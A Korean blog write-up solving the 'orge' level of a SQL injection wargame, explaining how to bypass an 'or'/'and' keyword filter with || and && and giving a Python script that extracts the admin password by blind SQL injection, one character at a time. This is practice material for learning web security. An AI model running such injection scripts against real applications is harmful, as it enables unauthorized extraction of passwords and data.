los 문제

los #7 orge 풀이

webhacking지구 2022. 7. 31. 22:58

일단 해석하자면은  

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

 

or과 and를 필터링 했다.

우회법은 이전 라업에서 말했듯이

 

or -> ||

and -> &&

 

이렇게 해주면 된다.

 

문제풀이 조건을 보자면

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");

 

 pw의 값을 맞춰야한다.

 

즉, blind sqli를 해줘야한다.

 

여기서 ~~~는 대충 숫자로 부르트 포싱을 해준다.

 

pw의 길이는 8이다.

 

이제 substr()을 이용해서 pw의 각 자릿수를 파싱해와서 부르트 포싱을 해준다.

 

이것은 경우의 수가 많아서 python 코드로 했다.

 

import requests
import string

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'||"
cookie =dict(PHPSESSID="쿠키값")

char = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in char:
        param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookie)
        if response.text.find("Hello admin")>0:
            print (j)
            result += j
            break
print("pw는",result,"입니다")

 

위와같이 파이썬코드를 짜주고 실행한다면 풀린다.

실행은 각자해보도록한다.

 

 

'los 문제' 카테고리의 다른 글

los 9 #vampire 풀이  (1) 2022.08.18
los #8 troll 문제풀이  (1) 2022.07.31
LOS 6번 문제 풀이  (0) 2021.09.13
LOS 5번 문제 풀이  (0) 2021.09.10
LOS 4번 문제 풀이  (0) 2021.09.08